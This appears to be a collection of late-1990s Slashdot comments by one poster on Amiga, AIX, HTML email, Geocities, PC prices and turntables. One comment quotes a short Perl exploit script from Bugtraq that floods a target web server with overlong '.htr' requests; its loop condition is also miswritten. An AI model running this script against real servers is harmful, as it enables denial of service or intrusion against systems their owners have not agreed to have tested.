I really feel bad for people that still hold out hope for Amiga. It's like trying to will a rotting corpse back to life.
Anyway, can we maybe only post Amiga news if it's actual news from now on? As in, an actual product being shipped? (I have a feeling that we won't be seeing any Amiga news anymore if this happens, though.)

100% right. There's a reason they only compared top-shelf commercial Unix machines -- this is where all the truly high-end engineering CAD work will continue to be done for the forseeable future. I shudder to think of the day when our shop moves to Catia on NT, though it looks like it won't be for a long, long time.

Whoever the MENSA member was that thought to combine HTML and electronic mail should be skinned alive and covered in salt-and-vinegar potato chips. Good Christ, I can't think of anything more mind-bogglingly stupid than webified email.
Someone have a reliable procmail recipe for it?

SMIT beats the living hell out of Solaris' admintool and Irix's toolchest, to speak nothing of anything Linux has to offer in the way of administration tools. AIX is quite possibly the easiest Unix I've ever administered, and a pleasure to use. Plus it pays well. What more could you ask for in a commercial unix?

GEEK Unions?

· Score: 3
I see a lot of people complaining about this idea, comparing it to the other more traditional "unions" that exist today. Re-read what Katz has to say and you'll discover that the proposal is for a loose federation, at best, and certainly not a full-blown dues-paying labor-centric union.

To be honest, people that can't afford a $5-a-month shell account probably don't have webpages worth visiting anyway. The "big draws" at Geocities probably would make plenty of money off of banner ads and God knows what else to more than recoup a 5-dollar-a-month operating cost. All the "look at my pretty dog" fluff webpages would be nuked, and the world would be a better place.

This isn't even a *good* photoshop job and it made it to slashdot! Come on, it looks like the guy just took it into Windows Paint and wrote "ACC" on it with the default font. This really calls the credibility of slashdot itself into question, when garbage like this makes it to the front page.

In 1995, we payed close to $3000 for a Pentium 100 with 16 megs of ram and 540 megs of disk space. What else could we have gotten? Nobody was *making* PCs with AMD or Cyrix chips in them, because AMD and Cyrix had nothing comparable to the P100 at the time! The spares market (think "pricewatch") was nearly nonexistant, so forget about buying the pieces and making your own. I didn't know how to build a PC back then anyway; most people still don't. The fact is, you can buy a top-of-the-line PC nowadays for half what we paid for the top-of-the-line back then. For this we must thank AMD and Cyrix et al.

Most people with a functioning brainstem would look at the little figures known as numbers next to the graphs and conclude that, in fact, the K7 still does beat the holy hell out of the Pentium.

I own a pair of 1200s, so I'm not dissing them or anything, but audiophiles tend to not like direct-drive tables because the motor tends to induce a lot of rumble. The high-end decks (I don't consider 1200s high-end in the audio quality sense) use belt-driven platters which are both heavy and slow to start, but which tend to give much better audio quality in terms of how much noise the player itself actually adds to the music. They also tend to cost anywhere from just under a grand to... well... Idono, perhaps the price of a new car?

Until you can scratch as precisely and reliably with a CD as you can with vinyl (will never happen), records will still be pressed by the thousands. I have no trouble picking up copies of most any dance/rap/pop song on 12" vinyl, and haven't had a problem for nine years.

This "Exploit" is comprised of two posts to the Bugtraq mailinglist. I assume everyone here subscribes to it, but for the benifit of those few out there who do not:
#!/usr/bin/perl #props to the absu crew use LWP::Simple; for ($i = 2500; $i = 3500; $i++) { warn "$i\n"; get "http://$ARGV[0]/".('a' x $i).".htr"; }

I know people that have compiled kernels on unprocessor machines in around 2 minutes... If it takes that long with 4 CPUs, each running at that speed, something is dreadfully wrong.
